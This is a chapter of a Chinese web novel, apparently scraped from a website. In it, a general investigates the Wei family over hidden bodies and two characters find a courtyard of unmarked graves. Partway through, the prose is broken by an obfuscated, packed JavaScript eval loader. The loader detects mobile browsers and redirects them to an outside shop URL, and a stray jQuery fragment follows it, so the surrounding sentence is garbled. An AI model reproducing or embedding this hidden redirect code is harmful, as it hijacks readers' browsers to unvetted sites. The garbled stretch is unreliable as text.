怀着战战兢兢的心情,宋延年一行人很快就赶到了魏府。此时魏府上下所有的人都聚集到了一处,在被衙役们问话。
王奕枫作为此次问话的主导,自当是十分卖力。这是他为数不多的能够表现的机会,他须要抓得牢牢的才行。
只可惜这种东西他门儿都不清,又不能当着李牧然的面对魏府的人严加拷打,便也只是将魏府下人们推搡到一处,准备用刑。
“慢着。”
李牧然厌恶的神色差点儿就掩饰不住了,他急忙叫停王奕枫,走到魏家人身前。
“魏则庭所为,乃是十恶不赦的罪名。你们其中的任何人,若是对此事毫不知情,且能提供线索,我可以饶你们一命。”而后,李牧然眼神突然杀意尽显,语气变得更加冷冽。
“但若是你们都不说的话,皆为从犯。真想要与魏家共生死,我倒也不拦着你们。人各有命,你们随意。”
说罢,李牧然便又回到了椅子上坐了下来。
他知道这群人是不会说的,就如他对李长乐说的那样。
没有人相信魏家会倒,他们在剑南权势滔天了这么些年,又岂会被一个来剑南没几日的他吓到?
此时不说话,还能在魏则庭面前混个衷心。真要有人说些什么,待到魏则庭毫发无损的度过这次危机,下场怕是更惨。
李牧然将武宗扬叫了过来,任由魏家家眷那边吵吵闹闹,他只是轻轻地问了一句:
“既然是你提出的线索,魏家杀人藏尸之处,你定是清楚的。”
“回将军,武某确实知晓。”
“呵。”李牧然轻笑了一声,他不得不佩服这武宗扬的野心。若是他直接说出藏尸地点,那么主犯便只有魏则庭和魏若轩。
魏家其他人虽会受到严惩,但并不能保证没有再起的资本。
但现在可不一样了,魏家众人为了表忠心,势必要同魏则庭站在一起,荣辱与共。
由不知情者转变为了参与、协助者。这个罪名的转换可是天差地别,武宗扬将上阳的律法吃得倒是透彻。
“我倒是可以陪你演这一回,不过,你最好是能够交给我一个满意的答案。”
“武某定不负将军所托。”武宗扬微微欠身,悄悄在李牧然耳边说了些什么。
李牧然听后,只是点了点头,他看着不远处叫骂的王奕枫和闭口不言的魏家家眷,心底的寒意又添了几分。
谁入了谁的戏,还真是说不好呢。
不过武宗扬显然是要将魏家推出去了,就是不知道他们为解家准备的刀,会在何时亮出呢?
“将军!”
宋延年带着几个驻城军首领走了进来,其余人等在府外候着。
“来得刚刚好。”李牧然起身拍了拍宋延年的肩膀,对着冷眼旁观家中鸡飞狗跳的魏则庭说道:
“魏老,您还不打算说吗?那些被您处理的尸体,究竟在何处?您要知道,不论今日我们是否有收获,您当堂杀害吕卿岩一案的关键性证人的罪名可是跑不了的。今日不说,大理寺会依法重启吕卿岩被害一案,您觉得到时候您还逃得掉吗?”
“逃?”魏则庭突然狂笑,似是很不解地看着李牧然,“我为何要逃?杀了个罪人而已,我犯了何种滔天重罪?他杀害前任知府吕卿岩,我身为剑南百姓,愤怒之余送他一程又何妨?他早晚要死,不过是少走了几道程序罢了。”
听着如此颠倒黑白的话,李牧然的眉毛稍稍挑起。
“倒是辛苦魏老的良苦用心了,那我派人搜索一遍贵府,想必您也不会介意了。”
“将军这是在询问我?我有说不的权力吗?”魏则庭冷哼道。
李牧然对着宋延年比划了一下,宋延年当即会意,带着众驻城军开始搜索了起来。
“您当然有拒绝的权力,只不过,我并不打算听您的建议罢了。”
李牧然冷哼一声,将一旁看起来十分心虚的魏若轩一把拉了起来,踹开了一间房门,便将人带了进去。
“将军这是要做什么?难不成想要逼供?”魏则庭眉头紧皱,眼神里满是愤怒。
自己的儿子是个什么德行他清楚的很,就算能忍着重刑不说,谈话间也容易被那李牧然套些什么。
总之,不能让他们二人单独待在一处。
“本将军自然不会刑讯逼供,带家主问个话属于正当办案流程,难不成魏老想要阻碍本将军办案不成?”
“自是不会。”魏则庭冷笑一声,对着一旁明明在站着却缩成了一团的魏若轩嘱咐道:“轩儿啊,好好配合将军办案,没有把握的事情可不要乱说,别影响了将军的思路。”
“放心吧,魏老,你的嘱咐他收到了。”说罢,李牧然将门重重地关上了。
外面的人面面相觑,不知道李牧然究竟要搞什么幺蛾子,纷纷站在原地一声不吭。
与这边的噤若寒蝉完全不同,宋延年这边可是“热闹的紧”。
他刚到魏府就发现长乐不见了,以他的了解,自是将军先派出了长乐在魏府先转一圈。到时候对着她觉得不对的地方直接搜索,效率更高些。
于是他便打算飞速过一遍,先找到长乐再说。
他的想法很美好,但奈何驻城军的人属实有些拖后腿。大抵是清楚的知道魏家的威望,因此在搜索时一个个小心翼翼,生怕破坏了什么东西。
这就导致他们的速度极为缓慢。
宋延年本来想带着他们和长乐一起汇合,这样看来……
想了想,宋延年一咬牙,对着小心翼翼将瓷瓶重新摆回桌面上的士兵说道:
“你们继续搜捕,我先四处查看一番。”本来打算直接就走的宋延年,又转过了身,补充了一句:“你们速度快些。”
说完之后,才速速跑离了这片一看就不会有什么的区域。
魏府确实很大,他跑了一大圈,这才看见一扇大氅四开的铁门。整个魏府就属此处最怪,宋延年立即走了进去,长乐大概就在这里。
他刚一进门,就看见长乐坐在一处台阶上发愁。脸颊被她拄的堆出了一坨软肉,大抵是在阳光下晒的太久,此时的李长乐,额头有汗,还多了些暗红。
“怎么不知道找个凉快的地方坐着?”宋延年走上前去,站在了她的身侧,刚好可以帮她遮些阳光。
不过李长乐并没有注意到这些,她垂头丧脑地叹着气,侧仰着头看向宋延年。
“想不通啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221381|131064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,干脆也懒得动了。”
“有什么能难得住你长乐将军?说来听听,小爷给你参谋参谋。”
“打住,跟谁学的,小爷小爷的。”李长乐不太爱听这个称呼,听上去流里流气的。
“啧,你还挑上这个了。”宋延年对长乐的不满有些不理解,往日里他偶尔也会这么自称,也没见她有什么反应嘛?不过她不爱听,不说就是了。
只不过嘴上依旧逞强:“一个称呼而已,怎么不好听了?不过快说说,到底什么情况?姨父不是派你搜索吗?”
“喏。”李长乐抬起下巴朝旁边一指,“就是这儿咯,这还不够异样啊?”
宋延年刚进门的时候四处瞧了下,到处都是清白色的砖块,只当是没建完的宅邸。经李长乐这么一提醒,他才认认真真地观察了起来。
放眼望去,青白色的砖块鳞次栉比,井然有序地分布着。
他原以为这些只是施工用的砖块,这一番观察下来,此处更像是……
“这一块一块的青砖,该不会是墓碑吧?”宋延年走到了一处青砖旁边,挠着头,十分不解。
“谁家把坟建在家里啊?”
“他们魏家呗。”李长乐刚意识到的时候也是十分震惊,毕竟正常人都做不出来这种事。
“所以你是怀疑此处就是魏家埋尸的地方?”
宋延年知道李长乐为何而来,因此她坐在这里半天没离开,那定是这儿有什么问题。
“我是这么怀疑的,但是不太好下手。”
“为什么?这些石碑上又没刻字,我们又不知道是谁的墓,四周翻动一下应该没问题吧?”
李长乐见宋延年这样说,拿出了一直被她抱在怀里的木牌,上面赫然写着:
魏嗣祈之墓
宋延年眨巴着眼睛看了半天,好半晌才说道:
“这个魏嗣祈……是谁啊?”
“我也不知道啊!”李长乐说到这个顿时来了劲头,拉着宋延年跑到了最右侧的一个角落,指给他看。
“你瞧,这儿都是这种木牌,一个个的都姓魏。我也说不好这儿是不是就是魏家祖坟,不是很好下手啊!”
宋延年顺着李长乐的手看向那堆木牌,确如长乐所说,这上面写着的所有名字,都姓魏。
上阳律法中,刨人祖坟乃是重罪。除非有确切证据。
但长乐如今只是怀疑,并没有确切的证据证明,尸体就在其中,
更何况时间久了,一些尸体早就腐烂不堪,难以辨别身份。到时候魏则庭就是硬说那是他们魏家人,她们也无法反驳。
宋延年一时间也犯了难,就算他是皇子,也不能轻易地刨人家祖坟啊。
“魏家也真是的,将祖坟放在家里。不过……”宋延年摸着这些木牌,话锋一转。
“这处坟地目前看起来像是新建的啊,下面真的有尸体吗?”
“只知道这处的土都被翻动过,既然武宗扬将我们引至此处,那这儿应该就是有尸体的吧,不然他不是白忙活了吗?”
“可就算是有尸体……”宋延年看着远处成片成片的墓碑,有些为难。好半晌他才说道:
“要不还是我来动手吧。”